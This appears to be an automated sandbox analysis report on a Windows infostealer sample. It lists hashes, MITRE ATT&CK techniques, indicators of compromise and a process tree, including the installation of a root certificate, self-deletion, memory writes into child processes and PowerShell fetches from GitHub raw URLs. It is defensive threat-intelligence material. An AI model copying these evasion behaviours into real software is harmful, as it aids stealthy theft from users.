c34a0a31ca38bdc293c2df85fd0217c43709ca111bf5c285fece4c33c04f6c6b

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/08/2026, 02:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
Size 7.1MB
Sample260809-daagtsyfka
SHA256 c34a0a31ca38bdc293c2df85fd0217c43709ca111bf5c285fece4c33c04f6c6b
MD5 618b516c9445482ca08759e2a6fc7218
SHA1 d43bde015d7c23d3640cabc2124582a7e624d656
SHA512 e8406faf091392641bf8edc0f2bb99e2c663ca886bbcab0c9f0c77b81f2262570f3a103e8777e609ce6ddfffe2b856bf8eb7c11658cb554b47c07c1e42a20030
SSDEEP 98304:tj1pzlDHIuPdxDXo6/+HYREVeG5hVDn+uTxV:V2UxDXo0HJG5njh
TLSH
T15F764A037E8A98A9C899C870C34BCBA30F1138EB1936B5AF05D565152F7EBB55F2D318
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution spyware trojan

Malware Config

Signatures

Detects executables containing URLs to raw contents of a Github gist 2 IoCs

resource	yara_rule
behavioral1/files/0x000700000002457d-211.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/files/0x000700000002457c-214.dat	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Badlisted process makes network request 17 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
77	3056	powershell.exe
78	3848	powershell.exe
79	1516	powershell.exe
80	2496	powershell.exe
81	4292	powershell.exe
82	1216	powershell.exe
83	3348	powershell.exe
84	4192	powershell.exe
85	1356	powershell.exe
86	4508	powershell.exe
87	2984	powershell.exe
88	1676	powershell.exe
106	3056	powershell.exe
107	4508	powershell.exe
108	2984	powershell.exe
110	5144	powershell.exe
112	5144	powershell.exe

Deletes itself 1 IoCs

pid	Process
2420	updater_tmp.exe

Executes dropped EXE 2 IoCs

pid	Process
2420	updater_tmp.exe
3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
65	raw.githubusercontent.com
80	raw.githubusercontent.com
84	raw.githubusercontent.com
85	raw.githubusercontent.com
41	raw.githubusercontent.com
42	raw.githubusercontent.com
57	raw.githubusercontent.com
59	raw.githubusercontent.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in Program Files directory 8 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3496_1020406440\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3496_1020406440\Microsoft.CognitiveServices.Speech.core.dll	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3496_1020406440\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3496_1619469980\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3496_1619469980\protocols.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3496_1619469980\manifest.fingerprint	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3496_82169530\manifest.json	msedgewebview2.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping3496_82169530\manifest.fingerprint	msedgewebview2.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 13 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
5144	powershell.exe
1516	powershell.exe
3848	powershell.exe
2496	powershell.exe
1676	powershell.exe
1356	powershell.exe
4508	powershell.exe
3348	powershell.exe
1216	powershell.exe
3056	powershell.exe
2984	powershell.exe
4292	powershell.exe
4192	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3664	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4688	PING.EXE
3664	cmd.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedgewebview2.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134307173194207031"	msedgewebview2.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4688	PING.EXE

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
3056	powershell.exe
3056	powershell.exe
3848	powershell.exe
3848	powershell.exe
1516	powershell.exe
1516	powershell.exe
3056	powershell.exe
2496	powershell.exe
2496	powershell.exe
4292	powershell.exe
4292	powershell.exe
3848	powershell.exe
3848	powershell.exe
1216	powershell.exe
1216	powershell.exe
1516	powershell.exe
1516	powershell.exe
2984	powershell.exe
2984	powershell.exe
4192	powershell.exe
4192	powershell.exe
3348	powershell.exe
3348	powershell.exe
1356	powershell.exe
1356	powershell.exe
4508	powershell.exe
4508	powershell.exe
1676	powershell.exe
1676	powershell.exe
2496	powershell.exe
2496	powershell.exe
1356	powershell.exe
4292	powershell.exe
1216	powershell.exe
4192	powershell.exe
2984	powershell.exe
3348	powershell.exe
1676	powershell.exe
4508	powershell.exe
5144	powershell.exe
5144	powershell.exe
5144	powershell.exe
3496	msedgewebview2.exe
3496	msedgewebview2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
4844	msedgewebview2.exe
4844	msedgewebview2.exe
3496	msedgewebview2.exe
3496	msedgewebview2.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
2420	updater_tmp.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeIncBasePriorityPrivilege	1688	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
Token: SeIncBasePriorityPrivilege	2420	updater_tmp.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	1216	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	4192	powershell.exe
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	1356	powershell.exe
Token: SeDebugPrivilege	3348	powershell.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	5144	powershell.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1688	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
1688	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1688	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
1688	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 1688 wrote to memory of 4844	1688	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	84
PID 4844 wrote to memory of 3780	4844	msedgewebview2.exe	85
PID 4844 wrote to memory of 3604	4844	msedgewebview2.exe	86
PID 4844 wrote to memory of 3604	4844	msedgewebview2.exe	86
PID 4844 wrote to memory of 3604	4844	msedgewebview2.exe	86
PID 4844 wrote to memory of 1704	4844	msedgewebview2.exe	87
PID 4844 wrote to memory of 4584	4844	msedgewebview2.exe	88
PID 4844 wrote to memory of 4584	4844	msedgewebview2.exe	88
PID 4844 wrote to memory of 4272	4844	msedgewebview2.exe	89
PID 4844 wrote to memory of 4272	4844	msedgewebview2.exe	89
PID 4844 wrote to memory of 4272	4844	msedgewebview2.exe	89
PID 4844 wrote to memory of 2764	4844	msedgewebview2.exe	90
PID 4844 wrote to memory of 2764	4844	msedgewebview2.exe	90
PID 4844 wrote to memory of 2764	4844	msedgewebview2.exe	90
PID 1688 wrote to memory of 2420	1688	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	100
PID 2420 wrote to memory of 3960	2420	updater_tmp.exe	101
PID 2420 wrote to memory of 3664	2420	updater_tmp.exe	102
PID 3960 wrote to memory of 3496	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	105
PID 3496 wrote to memory of 3060	3496	msedgewebview2.exe	106
PID 3664 wrote to memory of 4688	3664	cmd.exe	107
PID 3496 wrote to memory of 772	3496	msedgewebview2.exe	108
PID 3496 wrote to memory of 772	3496	msedgewebview2.exe	108
PID 3496 wrote to memory of 772	3496	msedgewebview2.exe	108
PID 3496 wrote to memory of 3080	3496	msedgewebview2.exe	109
PID 3496 wrote to memory of 4480	3496	msedgewebview2.exe	110
PID 3496 wrote to memory of 4480	3496	msedgewebview2.exe	110
PID 3496 wrote to memory of 3196	3496	msedgewebview2.exe	111
PID 3496 wrote to memory of 3196	3496	msedgewebview2.exe	111
PID 3496 wrote to memory of 3196	3496	msedgewebview2.exe	111
PID 3496 wrote to memory of 4904	3496	msedgewebview2.exe	113
PID 3496 wrote to memory of 4904	3496	msedgewebview2.exe	113
PID 3496 wrote to memory of 4904	3496	msedgewebview2.exe	113
PID 3960 wrote to memory of 2496	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	114
PID 3960 wrote to memory of 3848	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	115
PID 3960 wrote to memory of 1516	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	116
PID 3960 wrote to memory of 3056	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	117
PID 3960 wrote to memory of 4192	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	123
PID 3960 wrote to memory of 1216	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	124
PID 3960 wrote to memory of 3348	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	125
PID 3960 wrote to memory of 4508	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	126
PID 3960 wrote to memory of 4292	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	127
PID 3960 wrote to memory of 1356	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	128
PID 3960 wrote to memory of 1676	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	129
PID 3960 wrote to memory of 2984	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	130
PID 3960 wrote to memory of 5144	3960	2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe	140
PID 3496 wrote to memory of 1328	3496	msedgewebview2.exe	148
PID 3496 wrote to memory of 1328	3496	msedgewebview2.exe	148
PID 3496 wrote to memory of 5728	3496	msedgewebview2.exe	149
PID 3496 wrote to memory of 5728	3496	msedgewebview2.exe	149
PID 3496 wrote to memory of 3864	3496	msedgewebview2.exe	150
PID 3496 wrote to memory of 3864	3496	msedgewebview2.exe	150

C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe"
1⤵
- Checks whether UAC is enabled
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1688
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --disable-gpu --lang=en-US --mojo-named-platform-channel-pipe=1688.4512.11102696652035079593
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x15c,0x160,0x164,0x138,0x16c,0x7ffe38d9b078,0x7ffe38d9b084,0x7ffe38d9b090
    3⤵
    PID:3780
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=1692,i,11478845043063647245,12722380117558133910,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=1700 /prefetch:2
    3⤵
    PID:3604
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=1940,i,11478845043063647245,12722380117558133910,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=1952 /prefetch:3
    3⤵
    PID:1704
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2252,i,11478845043063647245,12722380117558133910,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:8
    3⤵
    PID:4584
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3604,i,11478845043063647245,12722380117558133910,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
    3⤵
    PID:4272
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\gta5rp-binder\EBWebView" --webview-exe-name=2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe --webview-exe-version=2.3.3 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=4136,i,11478845043063647245,12722380117558133910,262144 --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:1
    3⤵
    PID:2764
- C:\Users\Admin\AppData\Local\Temp\updater_tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\updater_tmp.exe" --stage-replace C:\Users\Admin\AppData\Local\Temp\update.tmp C:\Users\Admin\AppData\Local\Temp\2026-08-09_618b516c9445482ca08759e2a6fc7218_akira_glassworm_rusty-stealer.exe
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Suspicious behavior: RenamesItself
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2420
